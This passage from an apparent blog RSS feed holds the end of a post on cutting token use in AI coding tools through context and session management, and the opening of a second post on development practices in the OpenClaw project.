<p>One of the most striking cases in the ideation document is a team that divided a single large <code>tasks.md</code> into per-domain documents plus an <code>INDEX.md</code> structure and achieved <strong>76.1% savings</strong>.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tasks/
</span></span><span style="display:flex;"><span>├── INDEX.md
</span></span><span style="display:flex;"><span>├── backend.md
</span></span><span style="display:flex;"><span>├── frontend.md
</span></span><span style="display:flex;"><span>├── infra.md
</span></span><span style="display:flex;"><span>├── security.md
</span></span><span style="display:flex;"><span>└── archive/
</span></span></code></pre></div><p>The reason this structure works is simple: not every task requires reading every task. For a general status check, <code>INDEX.md</code> is enough; for a specific piece of work, only the relevant domain file needs to be read. Completed history moves to <code>archive/</code> and disappears from the current session&rsquo;s workbench.</p>
<p>Token management, in the end, is partly a problem of document information architecture.</p>
<h2 id="strategy-3-do-not-drag-sessions-out--use-clear-and-compact-deliberately">Strategy 3: Do not drag sessions out — use <code>/clear</code> and <code>/compact</code> deliberately</h2>
<p>For Claude Code specifically, the most immediately effective method is using <code>/clear</code> and <code>/compact</code> strategically.<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<ul>
<li>Use <code>/clear</code> when you want to reset the working context completely.</li>
<li>Use <code>/compact</code> to summarize the conversation history while keeping only what matters.</li>
<li>It is an effective habit to run compact right after a long debugging session, when you finish a feature, or when context usage reaches around 70%.<sup id="fnref1:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></li>
</ul>
<p>The key is shaking off the illusion that keeping a long conversation alive is productive. Rather than being drawn out, a session <strong>should be something you can cut short and restart</strong>.</p>
<h2 id="strategy-4-leave-a-handoff-document-and-move-to-a-new-session">Strategy 4: Leave a handoff document and move to a new session</h2>
<p>If you want to end sessions frequently, the cost of resuming has to be low. The simplest and most powerful approach here is keeping a short handoff document such as <code>HANDOFF.md</code>.<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></p>
<p>Something like the following is enough.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Goal: fix the race condition in the login flow
</span></span><span style="display:flex;"><span>Files changed: auth_service.ts, login_controller.ts
</span></span><span style="display:flex;"><span>Confirmed: not a DB issue — it is a duplicate API call
</span></span><span style="display:flex;"><span>Failed attempt: applying a mutex caused side effects, rolled back
</span></span><span style="display:flex;"><span>Next: evaluate an idempotency key approach
</span></span><span style="display:flex;"><span>Done when: the duplicate-login reproduction test passes
</span></span></code></pre></div><p>The purpose of this document is not to preserve a long record. It is to leave behind <strong>just enough direction for the next session to start working immediately</strong>.</p>
<h2 id="strategy-5-go-through-plan-mode-first-and-implement-later">Strategy 5: Go through Plan mode first and implement later</h2>
<p>Throw a large task straight into execution mode and the model handles exploration, design, and implementation all at once within the same cost center. That approach involves a lot of trial and error and burns a lot of tokens. The ideation material concludes that the habit of going through Plan mode first to narrow scope before moving into implementation contributes <strong>20–30% savings</strong>.<sup id="fnref1:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>The principle is very simple.</p>
<ol>
<li>First find the relevant files and the scope of impact.</li>
<li>Briefly plan the candidate files to modify and the approach.</li>
<li>Cut the unnecessary scope out of the plan.</li>
<li>Only then implement.</li>
</ol>
<p>In other words, saving tokens has less to do with the skill of writing short prompts and more to do with <strong>design habits that eliminate unnecessary trial and error up front</strong>.</p>
<h2 id="strategy-6-move-repeated-explanations-into-claudemd-and-manage-it-hierarchically">Strategy 6: Move repeated explanations into <code>CLAUDE.md</code> and manage it hierarchically</h2>
<p>Plenty of teams re-explain project structure, style guide, prohibited practices, and testing approach every single session. Over the long run this is the most expensive kind of token waste. The ideation document likewise recommends a pattern of layering <code>CLAUDE.md</code> at the global, project, and module levels.<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>~/
</span></span><span style="display:flex;"><span>└── CLAUDE.md
</span></span><span style="display:flex;"><span>project/
</span></span><span style="display:flex;"><span>├── CLAUDE.md
</span></span><span style="display:flex;"><span>├── backend/CLAUDE.md
</span></span><span style="display:flex;"><span>└── frontend/CLAUDE.md
</span></span></code></pre></div><p>The advantage of this structure is clear. Rules that are always needed sit at the top; information needed only in a specific domain sits in the lower module files. That way, not every session has to carry around the same heavy rules file in its entirety.</p>
<p>The following items are especially useful in <code>CLAUDE.md</code>.<sup id="fnref1:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup><sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup></p>
<ul>
<li>Core tech stack and architecture</li>
<li>Coding conventions</li>
<li>Current sprint goals and blockers</li>
<li>Information that must survive a compact</li>
<li><code>Load on Demand</code> links out to more detailed documents</li>
</ul>
<p>Put differently, a good <code>CLAUDE.md</code> is not a document that holds everything. It is closer to <strong>an index that decides what to read right now and what to read later</strong>.</p>
<h2 id="strategy-7-use-skills-aggressively-to-turn-documents-from-always-loaded-into-loaded-when-needed">Strategy 7: Use Skills aggressively to turn documents from &ldquo;always loaded&rdquo; into &ldquo;loaded when needed&rdquo;</h2>
<p>Go one step further and <code>CLAUDE.md</code> alone is not enough. Repeatedly invoked workflows, domain-specific procedures, review criteria, deployment checklists, security review routines — things like these are far better <strong>externalized into a skill</strong>.</p>
<p>Anthropic&rsquo;s official Skills guide explains this point quite clearly.<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup> Skills fundamentally have a <strong>three-stage progressive disclosure</strong> structure.</p>
<ul>
<li>The YAML frontmatter is always loaded.</li>
<li>The body of <code>SKILL.md</code> is loaded only when that skill is judged to be relevant.</li>
<li>Linked documents such as those under <code>references/</code> are explored further only when needed.</li>
</ul>
<p>In other words, the core value of a skill is not &ldquo;packing in a lot of knowledge&rdquo; but <strong>not packing all of that knowledge in at once</strong>. Combine this with subagents and the effect grows. Anthropic&rsquo;s subagent documentation likewise explains that subagents use a <strong>separate context window</strong> from the main conversation, reducing pollution of the main session.<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></p>
<p>One thing does need to be stated precisely here. Anthropic&rsquo;s official documentation does not directly prescribe &ldquo;keep every document under 200 lines.&rdquo; What the official guide says is a more general principle: <code>SKILL.md</code> should hold only the core instructions, detailed documentation should be pulled out into <code>references/</code>, and if significant context issues arise, <code>SKILL.md</code> should be kept <strong>under 5,000 words</strong>.<sup id="fnref1:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup> The practical rule I want to add on top of that is more aggressive. <strong>Document fragments that will actually be referenced are better split into chunks of under 200 lines.</strong> That keeps the unit from getting too large when a skill picks out only the documents it needs.</p>
<p>For example, a layout like the following works better.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>.claude/
</span></span><span style="display:flex;"><span>├── CLAUDE.md
</span></span><span style="display:flex;"><span>├── agents/
</span></span><span style="display:flex;"><span>│   └── code-reviewer.md
</span></span><span style="display:flex;"><span>└── skills/
</span></span><span style="display:flex;"><span>    └── security-review/
</span></span><span style="display:flex;"><span>        ├── SKILL.md
</span></span><span style="display:flex;"><span>        └── references/
</span></span><span style="display:flex;"><span>            ├── auth-checklist.md
</span></span><span style="display:flex;"><span>            ├── input-validation.md
</span></span><span style="display:flex;"><span>            └── secrets-policy.md
</span></span></code></pre></div><p>This structure has two advantages. First, all that remains in the main session is &ldquo;when to use this skill.&rdquo; Second, the detailed documents come in only when they are actually needed. The token savings happen at that second stage.</p>
<p>The measured data points in a similar direction. SkillsBench reports that across seven model/harness combinations, <strong>curated skills produced an average +16.2 percentage point improvement in success rate</strong>.<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup> Claude Code Opus 4.6 went from 30.6% to 44.5%, Codex GPT-5.2 from 30.6% to 44.7%, and Claude Code Sonnet 4.5 from 17.3% to 31.8%.<sup id="fnref1:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup> The more interesting part is tokens. In that study, skills did not unconditionally reduce tokens in every environment. On GPT-5.2 and Gemini 3 Flash, total tokens rose 6–13% as skill context was added. By contrast, Gemini 3 Pro saw total tokens fall about 6%, and Claude Code Opus 4.6 saw observable input tokens <strong>drop about 26%, from 1,947K to 1,448K</strong>.<sup id="fnref2:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></p>
<p>What these numbers say is clear. A skill is not &ldquo;a technique for stuffing in more documentation&rdquo; but <strong>a technique for reducing exploration and reusing procedures</strong>. A well-designed skill can lower total tokens by cutting trial and error, but conversely, skills that are too large, too numerous, or loaded wholesale become context debt instead.</p>
<p>In conclusion, the core of a skill strategy comes down to these three lines.</p>
<ul>
<li>Promote frequently repeated procedures into skills.</li>
<li>Keep <code>SKILL.md</code> short and separate detailed documentation into <code>references/</code>.</li>
<li>Keep the documents that will actually be referenced small enough that on-demand loading is meaningful.</li>
</ul>
<h2 id="strategy-8-isolate-large-logs-and-search-work-into-subagents-or-separate-sessions">Strategy 8: Isolate large logs and search work into subagents or separate sessions</h2>
<p>Web searches, long log analysis, build output review, and broad code exploration all produce lengthy output. Handling this kind of work directly in the main session pollutes context fast. The ideation material also recommends delegating such high-noise work to a subagent and <strong>taking back only a summary of the results into the main context</strong>.<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></p>
<p>This pattern applies just as well to Codex and Gemini CLI as it does to Claude Code. What matters is less which tool you use and more <strong>not mixing noisy work and decision-making work in the same session</strong>.</p>
<h2 id="strategy-9-make-search-based-context-injection-the-default">Strategy 9: Make search-based context injection the default</h2>
<p>In a large codebase, having whole files read in as-is does not hold up for long. The ideation document also introduces an advanced pattern of building a dependency graph at the function or symbol level and supplying only the fragments needed; there are even cases showing that this approach can achieve <strong>savings of over 80%</strong> by measured numbers.<sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup></p>
<p>Of course, not every team needs to build an MCP server or a dependency graph right away. But the principle can be applied immediately.</p>
<ul>
<li>Search first.</li>
<li>Narrow down to the relevant files and symbols.</li>
<li>Put only those fragments into context.</li>
</ul>
<p>That is, instead of dumping the entire repository, <strong>search-then-inject</strong> should be the default.</p>
<h2 id="strategy-10-an-mcp-server-costs-you-something-just-by-being-switched-on">Strategy 10: An MCP server costs you something just by being switched on</h2>
<p>MCP is powerful, but the more servers and tools are active, the more the context and system instructions swell. As the ideation document points out, keeping MCPs unrelated to the current work permanently on is a way of eating into your budget before the first prompt is even sent.<sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></p>
<p>So the right MCP strategy is not &ldquo;connect a lot&rdquo; but &ldquo;connect only when needed.&rdquo; In the long run, this too is part of progressive disclosure.</p>
<h2 id="strategy-11-separate-roles-by-tool">Strategy 11: Separate roles by tool</h2>
<p>The ideation material characterizes Claude Code, Codex, and Gemini as each having different traits.<sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup><sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup><sup id="fnref:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup></p>
<ul>
<li>Claude Code is strong at complex reasoning and debugging, but session management matters.</li>
<li>Gemini CLI is advantageous for long-context analysis, but an exclusion strategy such as <code>.geminiignore</code> is essential.</li>
<li>Codex handles relatively large contexts, but is ultimately not exempt from the principles of compaction and scope management.</li>
</ul>
<p>Which is to say: do not use every tool the same way. <strong>Separating roles</strong> — leaving whole-codebase mapping to the long-context tool and handing the actual edits to short, focused sessions — is better for both cost and quality.</p>
<h2 id="antipatterns">Antipatterns</h2>
<p>Conversely, the following patterns almost always create token debt.</p>
<ul>
<li>Broad requests like &ldquo;look at the whole project and figure it out&rdquo;</li>
<li>Accumulating exploration, implementation, debugging, and retrospective all in a single session</li>
<li>A structure that always loads a huge <code>tasks.md</code>, a giant rules file, or a bloated skill in its entirety</li>
<li>A structure that crams all background knowledge into one file inside a skill and effectively never uses <code>references/</code></li>
<li>The habit of pasting in build logs, diffs, and search results uncompressed</li>
<li>Configurations that keep MCP servers and tools unrelated to the current work permanently enabled</li>
<li>The attitude that a large context window means you do not have to tidy up</li>
</ul>
<p>A long context only lets you hold more garbage. It does not help you pick out the important information any better.</p>
<h2 id="a-realistic-order-of-adoption">A realistic order of adoption</h2>
<p>The body of this post is largely ordered by savings efficiency, but the order in which you actually start can shift somewhat depending on team size and capacity to invest. In practice, it is usually easiest to think of it in the three stages below.</p>
<ol>
<li>Apply immediately
<code>.claudeignore</code>, splitting <code>tasks.md</code>, <code>/clear</code> and <code>/compact</code>, handoff documents</li>
<li>Establish within the week
<code>Plan mode</code>, slimming down <code>CLAUDE.md</code>, promoting repeated procedures into skills</li>
<li>Structural investment after that
Subagent isolation, search-based context serving, MCP minimization, role separation by tool</li>
</ol>
<p>In other words, most teams can feel a big difference by changing nothing more than <strong>document structure and session habits</strong>, well before any advanced infrastructure.</p>
<h2 id="conclusion">Conclusion</h2>
<p>A token management strategy for vibe coding ultimately comes down to one sentence. <strong>Do not show the model a lot; show it exactly what is needed right now.</strong> Keep sessions short, externalize repeated explanations into documents and skills, break large tasks into an index and a planning stage, and isolate noisy work into separate sessions.</p>
<p>The reason teams that conserve tokens are more productive is not that they spend less money. It is that they left the model less room to get confused. A good vibe coder is not someone who writes long prompts, but <strong>someone who designs context</strong>.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>7 Ways to Cut Your Claude Code Token Usage: <a href="https://dev.to/boucle2026/7-ways-to-cut-your-claude-code-token-usage-elb">https://dev.to/boucle2026/7-ways-to-cut-your-claude-code-token-usage-elb</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>How I Reduced Claude Code Token Consumption by 50%: <a href="https://32blog.com/en/claude-code/claude-code-token-cost-reduction-50-percent">https://32blog.com/en/claude-code/claude-code-token-cost-reduction-50-percent</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>CLAUDE-CODE의 토큰을 절약하기 - tasks.md의 문서 구조 개편: <a href="https://developer-youn.tistory.com/196">https://developer-youn.tistory.com/196</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Best Practices for Claude Code, Anthropic Docs: <a href="https://code.claude.com/docs/en/best-practices">https://code.claude.com/docs/en/best-practices</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>Managing Claude Code context to reduce limits: <a href="https://mcpcat.io/guides/managing-claude-code-context/">https://mcpcat.io/guides/managing-claude-code-context/</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>45 Claude Code Tips From basics to advanced: <a href="https://github.com/ykdojo/claude-code-tips">https://github.com/ykdojo/claude-code-tips</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>The Complete Guide to Claude Code Context: <a href="https://supatest.ai/blog/claude-context-management-guide">https://supatest.ai/blog/claude-context-management-guide</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>Claude Code 컨텍스트 최적화 가이드 - 인포그랩: <a href="https://insight.infograb.net/blog/2026/01/14/claudecode-context/">https://insight.infograb.net/blog/2026/01/14/claudecode-context/</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>The Complete Guide to Building Skills for Claude, Anthropic: <a href="https://resources.anthropic.com/hubfs/The-Complete-Guide-to-Building-Skill-for-Claude.pdf">https://resources.anthropic.com/hubfs/The-Complete-Guide-to-Building-Skill-for-Claude.pdf</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p>Subagents, Anthropic Docs: <a href="https://docs.anthropic.com/en/docs/claude-code/sub-agents">https://docs.anthropic.com/en/docs/claude-code/sub-agents</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p>SkillsBench: Benchmarking How Well Agent Skills Work Across Diverse Tasks: <a href="https://www.skillsbench.ai/skillsbench.pdf">https://www.skillsbench.ai/skillsbench.pdf</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p>How to Use Claude Code: A Guide to Slash Commands: <a href="https://www.producttalk.org/how-to-use-claude-code-features/">https://www.producttalk.org/how-to-use-claude-code-features/</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p>I cut Claude Code&rsquo;s token usage by 65% by building a &hellip; <a href="https://www.reddit.com/r/ClaudeAI/comments/1rby0gt/i_cut_claude_codes_token_usage_by_65_by_building/">https://www.reddit.com/r/ClaudeAI/comments/1rby0gt/i_cut_claude_codes_token_usage_by_65_by_building/</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p>Tips after using Claude Code daily: context management &hellip; <a href="https://www.reddit.com/r/ClaudeCode/comments/1pawyud/tips_after_using_claude_code_daily_context/">https://www.reddit.com/r/ClaudeCode/comments/1pawyud/tips_after_using_claude_code_daily_context/</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p>Best practices for cost-efficient, high-quality context management in long AI chats: <a href="https://community.openai.com/t/best-practices-for-cost-efficient-high-quality-context-management-in-long-ai-chats/1373996">https://community.openai.com/t/best-practices-for-cost-efficient-high-quality-context-management-in-long-ai-chats/1373996</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p>How to Leverage Gemini CLI&rsquo;s 1M Token Context Window: <a href="https://inventivehq.com/knowledge-base/gemini/how-to-leverage-1m-token-context">https://inventivehq.com/knowledge-base/gemini/how-to-leverage-1m-token-context</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:17">
<p>What Is the Token Limit for Codex Requests?: <a href="https://apidog.com/blog/token-limit-for-codex-requests/">https://apidog.com/blog/token-limit-for-codex-requests/</a>&#160;<a href="#fnref:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>OpenClaw: Nine Best Practices from the World&#39;s Largest Vibe Coding Project</title>
            <link>https://roboco.io/en/posts/openclaw-vibe-coding-best-practices/</link>
            <pubDate>Sat, 14 Mar 2026 10:00:00 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/openclaw-vibe-coding-best-practices/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;I used to lead a team. I had a lot of software engineers under me. Even then, I had to accept that they would not write code exactly the way I wanted it written.&amp;rdquo; – Peter Steinberger&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;OpenClaw is the most-starred software repository on GitHub (310K+ stars) and the definitive case study in large-scale AI-assisted &amp;ldquo;vibe coding.&amp;rdquo;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; Built by Austrian developer Peter Steinberger using three to eight parallel AI agent instances,&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt; the project demonstrates that a single developer can orchestrate a 300K+ LOC TypeScript monorepo, more than 20 messaging integrations, and native apps for three platforms — while barely reading most of the code.&lt;sup id=&#34;fnref1:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>&ldquo;I used to lead a team. I had a lot of software engineers under me. Even then, I had to accept that they would not write code exactly the way I wanted it written.&rdquo; – Peter Steinberger<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>OpenClaw is the most-starred software repository on GitHub (310K+ stars) and the definitive case study in large-scale AI-assisted &ldquo;vibe coding.&rdquo;<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> Built by Austrian developer Peter Steinberger using three to eight parallel AI agent instances,<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> the project demonstrates that a single developer can orchestrate a 300K+ LOC TypeScript monorepo, more than 20 messaging integrations, and native apps for three platforms — while barely reading most of the code.<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>The project&rsquo;s name went through a turbulent journey. It began in November 2025 as <strong>Clawdbot</strong>, a prototype built in an hour on top of Anthropic&rsquo;s Claude. After going public on GitHub in January 2026, it exploded to 9,000 stars in a single day, but a trademark warning from Anthropic forced a rename to <strong>Moltbot</strong>. Then, after security incidents involving impersonation accounts and malicious npm packages, it was renamed again just three days later to <strong>OpenClaw</strong>.<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> In February 2026, Steinberger joined OpenAI to lead &ldquo;the next generation of personal agents,&rdquo; and OpenClaw was transferred to an independent foundation backed by OpenAI.<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<p>Ironically, Steinberger himself calls the phrase &ldquo;vibe coding&rdquo; a slur and prefers &ldquo;agentic engineering,&rdquo;<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> yet OpenClaw became the flagship project of that very movement.<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup> This post analyzes OpenClaw&rsquo;s repository structure, workflows, and community operations, and distills the actionable best practices found there.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>OpenClaw is the definitive vibe coding case in which a single developer coordinated multiple AI agents to run a large TypeScript monorepo and native apps.</li>
<li>The core patterns are a living <code>AGENTS.md</code>, clear PR norms, automated quality gates, and rules for coordinating parallel agents.</li>
<li>Mastery in vibe coding shifts away from the ability to write a lot of code yourself, toward the ability to design and control the system that writes the code.</li>
</ul>
<hr>
<h2 id="1-what-openclaw-actually-does">1. What OpenClaw Actually Does</h2>
<p>OpenClaw is a <strong>self-hosted personal AI assistant</strong> that connects messaging platforms to large language models. Unlike the web interfaces of ChatGPT or Claude, OpenClaw runs on the user&rsquo;s local machine and plugs into the channels the user already inhabits. It supports more than 15 channels, including WhatsApp, Telegram, Discord, Slack, Signal, iMessage, Microsoft Teams, Matrix, and LINE. The README puts it simply: <em>&ldquo;A personal AI assistant that runs right on your device.&rdquo;</em><sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup></p>
<p>The heart of the architecture is a local <strong>Gateway daemon</strong>. It is a WebSocket-based control plane running on port 18789 that routes incoming messages to independent AI agents. Each agent has its own workspace, memory, and personality defined by Markdown files (<code>SOUL.md</code>, <code>MEMORY.md</code>, <code>USER.md</code>).<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup> The agents do more than talk. They run shell commands, control browsers via CDP, manage schedules, execute cron jobs, and even reach out proactively through a heartbeat system.<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup> A skills marketplace called <strong>ClawHub</strong> hosts more than 1,700 community-built extensions.<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></p>
<p>The tech stack is a TypeScript-based <strong>pnpm monorepo</strong> (Node.js 22+), plus native companion apps written in Swift (macOS/iOS) and Kotlin (Android). Testing runs on Vitest with a 70%+ V8 coverage threshold.<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></p>
<hr>
<h2 id="2-traces-of-ai-assisted-development-visible-in-the-repository">2. Traces of AI-Assisted Development Visible in the Repository</h2>
<p>The clearest evidence of vibe coding lives in the commit history. Because early development used Anthropic&rsquo;s Claude Code, <strong>&ldquo;claude&rdquo; appears frequently as a co-author</strong> on commits. After Steinberger joined OpenAI in February 2026, however, <strong>branches autonomously generated by the OpenAI Codex agent</strong> — names like <code>codex/issue-issue-41258-20260312044119</code> — increased markedly. A single repository now carries traces of two AI coding agents, Claude and Codex, side by side. The README states it outright: <strong>&ldquo;AI/vibe-coded PRs welcome!&rdquo;</strong><sup id="fnref1:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup></p>
<p>Steinberger&rsquo;s personal workflow is especially striking. He <strong>runs three to eight Codex CLI instances simultaneously in a 3x3 terminal grid</strong>, and most of them work in the same folder rather than in separate worktrees.<sup id="fnref1:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> Each agent makes atomic commits guided by the rules in <code>AGENTS.md</code>. He landed <strong>more than 6,600 commits in January 2026 alone</strong> — outwardly the pace of a 20-person team, but in reality one person combined with AI agents.<sup id="fnref2:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> His prompts have grown shorter over time; these days one or two sentences plus a single screenshot is usually enough, with screenshots accounting for about 50% of the input.<sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup></p>
<p><code>CONTRIBUTING.md</code> codifies how the community should handle AI-assisted PRs.<sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></p>
<ul>
<li>Disclose AI usage in the PR title or description</li>
<li>State the level of testing (untested / lightly tested / thoroughly tested)</li>
<li>Include the prompt or session log where possible</li>
<li>Confirm that you understand what the generated code does</li>
</ul>
<p>The document closes this way: <em>&ldquo;We treat AI PRs as first-class citizens here. We just want transparency so reviewers know where to focus.&rdquo;</em><sup id="fnref1:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></p>
<hr>
<h2 id="3-the-agentsmd-and-claudemd-configuration-pattern">3. The AGENTS.md and CLAUDE.md Configuration Pattern</h2>
<p>The most reproducible innovation in the OpenClaw repository is the <strong><code>AGENTS.md</code> file</strong>.<sup id="fnref1:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup> It is a comprehensive instruction document for every AI coding agent working in the codebase. <code>CLAUDE.md</code> is a symlink pointing to the same file, guaranteeing that Claude Code and Codex-family agents read identical instructions. The rule is explicit: <em>&ldquo;When you add a new <code>AGENTS.md</code> anywhere in the repo, you must also add a <code>CLAUDE.md</code> symlink pointing to it.&rdquo;</em><sup id="fnref2:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></p>
